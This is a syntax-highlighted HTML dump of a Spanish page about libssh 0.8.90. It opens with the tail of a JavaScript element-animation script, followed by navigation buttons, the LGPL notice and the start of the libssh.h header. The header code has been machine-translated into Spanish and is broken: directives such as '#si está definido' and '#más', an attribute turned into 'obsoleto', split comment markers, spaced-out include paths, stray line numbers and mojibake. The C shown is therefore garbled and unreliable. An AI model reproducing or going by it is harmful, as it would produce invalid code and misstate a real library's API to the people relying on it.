&amp;&amp; Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>lef2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> != -1</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> {</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;if</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>lef2 >= 0</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;lef2 -= num2;</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;else</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;lef2 </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>= num2 </span><span style='color:#d2cd86; '>*</span><span style='color:#00c4c4; '> -1;</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;if</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>lef2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> != -1</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> {</span> <span style='color:#00c4c4; '>document</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>getElementById</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>target</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>visibility = "visible";</span> <span style='color:#00c4c4; '>document</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>getElementById</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>target</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>left = Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>lef2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 'px';</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;} else {</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;document</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>getElementById</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>target</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>visibility = "visible";</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;document</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>getElementById</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>target</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>left = Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>lef2 </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 1</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 'px';</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;}</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;if</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>lef2 >= 0</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;top2 -= num3</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;else</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;top2 </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>= num3 </span><span style='color:#d2cd86; '>*</span><span style='color:#00c4c4; '> -1;</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;if</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>top2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> != -1</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;document</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>getElementById</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>target</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>top = Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>top2</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 'px';</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;else</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;document</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>getElementById</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>target</span><span style='color:#d2cd86; '>)</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>style</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>top = Math</span><span style='color:#d2cd86; '>.</span><span style='color:#00c4c4; '>floor</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>top2 </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 1</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '> </span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '> 'px';</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;setTimeout</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>"fly3</span><span style='color:#d2cd86; '>(</span><span style='color:#00c4c4; '>'"</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>target</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>"',"</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>lef2</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>","</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>num2</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>","</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>top2</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>","</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>num3</span><span style='color:#d2cd86; '>+</span><span style='color:#00c4c4; '>"</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '>",50</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;}</span> <span style='color:#00c4c4; '>}</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>stfly</span><span style='color:#d2cd86; '>(</span><span style='color:#d2cd86; '>)</span><span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>&lt;</span><span style='color:#02d045; '>/</span>script<span style='color:#d2cd86; '>></span> <span style='color:#d2cd86; '>&lt;</span>h2<span style='color:#d2cd86; '>></span>LIBRARY SSH<span style='color:#d2cd86; '>&lt;</span><span style='color:#d2cd86; '>/</span>h2<span style='color:#d2cd86; '>></span> <span style='color:#d2cd86; '>&lt;</span>strong<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '>&lt;</span>h1<span style='color:#d2cd86; '>></span>libssh <span style='color:#009f00; '>0.8</span><span style='color:#d2cd86; '>.</span><span style='color:#008c00; '>90</span><span style='color:#d2cd86; '>&lt;</span><span style='color:#d2cd86; '>/</span>h1<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '>&lt;</span><span style='color:#d2cd86; '>/</span>strong<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '>&lt;</span>br <span style='color:#d2cd86; '>/</span><span style='color:#d2cd86; '>></span> <span style='color:#d2cd86; '>&lt;</span>p<span style='color:#d2cd86; '>></span> <span style='color:#d2cd86; '>&lt;</span>button<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '>&lt;</span>li<span style='color:#d2cd86; '>></span>La biblioteca SSH<span style='color:#d2cd86; '>&lt;</span><span style='color:#d2cd86; '>/</span>li<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '>&lt;</span><span style='color:#d2cd86; '>/</span>button<span style='color:#d2cd86; '>></span> <span style='color:#d2cd86; '>&lt;</span>button<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '>&lt;</span>i<span style='color:#d2cd86; '>></span>PAGINA PRINCIPAL<span style='color:#d2cd86; '>&lt;</span><span style='color:#d2cd86; '>/</span>li<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '>&lt;</span><span style='color:#d2cd86; '>/</span>button<span style='color:#d2cd86; '>></span> <span style='color:#d2cd86; '>&lt;</span>button<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '>&lt;</span>li<span style='color:#d2cd86; '>></span>PÁGINAS RELACIONADAS<span style='color:#d2cd86; '>&lt;</span><span style='color:#d2cd86; '>/</span>li<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '>&lt;</span><span style='color:#d2cd86; '>/</span>button<span style='color:#d2cd86; '>></span> <span style='color:#d2cd86; '>&lt;</span>button<span style='color:#d2cd86; '>></span><span style='color:#d2cd86; '>&lt;</span>li<span style='color:#d2cd86; '>></span>M�<span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>DULOS&lt;/li>&lt;/button></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&lt;button>&lt;li>ESTRUCTURAS DE DATOS&lt;/li>&lt;/button></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&lt;button>&lt;li>ARCHIVOS&lt;/li>&lt;/button></span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&lt;/p></span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&lt;ul></span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&lt;button>&lt;h3> incluir &lt;/h3>&lt;/button></span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&lt;button>&lt;h3> libssh &lt;/h3>&lt;/button></span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&lt;button>&lt;h3> libssh.h &lt;/h3>&lt;/button></span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&lt;br /></span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;</span> <span style='color:#00c4c4; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&lt;/ul> </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>&#xa0;&#xa0;  &lt;small>Esta biblioteca es software gratuito; </span> <span style='color:#00c4c4; '>puedes redistribuirlo y / o</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>7   * modificarlo según los términos del GNU Lesser General Public</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>8   * Licencia publicada por la Free Software Foundation; ya sea</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>9   * versión 2.1 de la Licencia, o (a su elección) </span> <span style='color:#00c4c4; '>cualquier versión posterior.</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>10  *</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>11  * Esta biblioteca se distribuye con la esperanza de que sea útil,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>12  * pero SIN NINGUNA GARANTÍA; sin siquiera la garantía implícita de</span> <span style='color:#00c4c4; '> </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>21  #ifndef _LIBSSH_H</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>22  #define _LIBSSH_H</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>23 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>24  #si está definido _WIN32 || definido __CYGWIN__</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>25   #ifdef LIBSSH_STATIC</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>26   #define LIBSSH_API</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>27   #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>28   #ifdef LIBSSH_EXPORTS</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>29   #ifdef __GNUC__</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>30   #define LIBSSH_API __attribute __ ((dllexport))</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>31   #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>32   #define LIBSSH_API __declspec (dllexport)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>33   #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>34   #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>35   #ifdef __GNUC__</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>36   #define LIBSSH_API __attribute __ ((dllimport))</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>37   #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>38   #define LIBSSH_API __declspec (dllimport)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>39   #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>40   #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>41   #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>42  #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>43   #if __GNUC__> = 4 &amp;&amp;! Definido (__ OS2__)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>44   #define LIBSSH_API __attribute __ </span> <span style='color:#00c4c4; '>((visibilidad (</span><span style='color:#02d045; '>"</span>predeterminado<span style='color:#02d045; '>"</span><span style='color:#00c4c4; '>)))</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>45   #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>46   #define LIBSSH_API</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>47   #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>48  #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>49 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>50  #ifdef _MSC_VER</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>51   / * Visual Studio no tiene inttypes.h </span> <span style='color:#00c4c4; '>así que no conoce uint32_t * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>52   typedef int int32_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>53   typedef unsigned int uint32_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>54   typedef unsigned short uint16_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>55   typedef unsigned char uint8_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>56   typedef unsigned long long uint64_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>57   typedef int mode_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>58  #else / * _MSC_VER * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>59   #include &lt;unistd.h></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>60   #include &lt;inttypes.h></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>61   #include &lt;sys / types.h></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>62  #endif / * _MSC_VER * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>63 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>64  #ifdef _WIN32</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>65   #include &lt;winsock2.h></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>66  #else / * _WIN32 * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>67  #include &lt;sys / select.h> / * para fd_set * * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>68  #include &lt;netdb.h></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>69  #endif / * _WIN32 * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>70 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>71  #define SSH_STRINGIFY (s) SSH_TOSTRING (s)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>72  #define SSH_TOSTRING (s) #s</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>73 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>74  / * macros de versión libssh * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>75  #define SSH_VERSION_INT (a, b, c) ((a) &lt;&lt; 16 | (b) &lt;&lt; 8 | (c))</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>76  #define SSH_VERSION_DOT (a, b, c) a ##. ## b ##. ## c</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>77  #define SSH_VERSION (a, b, c) SSH_VERSION_DOT (a, b, c)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>78 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>79  / * versión libssh * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>80  #define LIBSSH_VERSION_MAJOR 0</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>81  #define LIBSSH_VERSION_MINOR 8</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>82  #define LIBSSH_VERSION_MICRO 90</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>83 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>84  #define LIBSSH_VERSION_INT SSH_VERSION_INT </span> <span style='color:#00c4c4; '>(LIBSSH_VERSION_MAJOR, \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>85   LIBSSH_VERSION_MINOR, \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>86   LIBSSH_VERSION_MICRO)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>87  #define LIBSSH_VERSION SSH_VERSION (LIBSSH_VERSION_MAJOR, \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>88   LIBSSH_VERSION_MINOR, \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>89   LIBSSH_VERSION_MICRO)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>90 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>91  / * GCC tiene verificación de atributo de </span> <span style='color:#00c4c4; '>tipo printf. * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>92  #ifdef __GNUC__</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>93  #define PRINTF_ATTRIBUTE (a, b) __attribute__ </span> <span style='color:#00c4c4; '>((__format__ (__printf__, a, b)))</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>94  #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>95  #define PRINTF_ATTRIBUTE (a, b)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>96  #endif / * __GNUC__ * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>97 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>98  #ifdef __GNUC__</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>99  #define SSH_DEPRECATED __attribute__ ((obsoleto))</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>100  #más</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>101  #define SSH_DEPRECATED</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>102  #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>103 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>104  #ifdef __cplusplus</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>105  externa </span><span style='color:#02d045; '>"</span>C<span style='color:#02d045; '>"</span><span style='color:#00c4c4; '> {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>106  #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>107 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>108  struct ssh_counter_struct {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>109   uint64_t in_bytes;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>110   uint64_t out_bytes;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>111   uint64_t in_packets;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>112   uint64_t out_packets;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>113  };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>114  typedef struct ssh_counter_struct * ssh_counter ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>115 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>116  typedef struct ssh_agent_struct * ssh_agent ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>117  typedef struct ssh_buffer_struct * ssh_buffer ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>118  typedef struct ssh_channel_struct * ssh_channel ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>119  typedef struct ssh_message_struct * ssh_message ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>120  typedef struct ssh_pcap_file_struct </span> <span style='color:#00c4c4; '>* ssh_pcap_file;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>121  typedef struct ssh_key_struct * ssh_key ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>122  typedef struct ssh_scp_struct * ssh_scp ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>123  typedef struct ssh_session_struct * ssh_session ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>124  typedef struct ssh_string_struct * ssh_string ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>125  typedef struct ssh_event_struct * ssh_event ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>126  typedef struct ssh_connector_struct </span> <span style='color:#00c4c4; '>* ssh_connector ;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>127  typedef void * ssh_gssapi_creds;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>128 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>129  / * Tipo de enchufe * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>130  #ifdef _WIN32</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>131  #ifndef socket_t</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>132  typedef SOCKET socket_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>133  #endif / * socket_t * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>134  #else / * _WIN32 * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>135  #ifndef socket_t</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>136  typedef int socket_t;</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>137  #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>138  #endif / * _WIN32 * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>139 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>140  #define SSH_INVALID_SOCKET ((socket_t) -1)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>141 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>142  / * las compensaciones de los métodos * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>143  enum ssh_kex_types_e {</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>144   SSH_KEX = 0,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>145   SSH_HOSTKEYS,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>146   SSH_CRYPT_C_S,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>147   SSH_CRYPT_S_C,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>148   SSH_MAC_C_S,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>149   SSH_MAC_S_C,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>150   SSH_COMP_C_S,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>151   SSH_COMP_S_C,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>152   SSH_LANG_C_S,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>153   SSH_LANG_S_C</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>154  };</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>155 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>156  #define SSH_CRYPT 2</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>157  #define SSH_MAC 3</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>158  #define SSH_COMP 4</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>159  #define SSH_LANG 5</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; 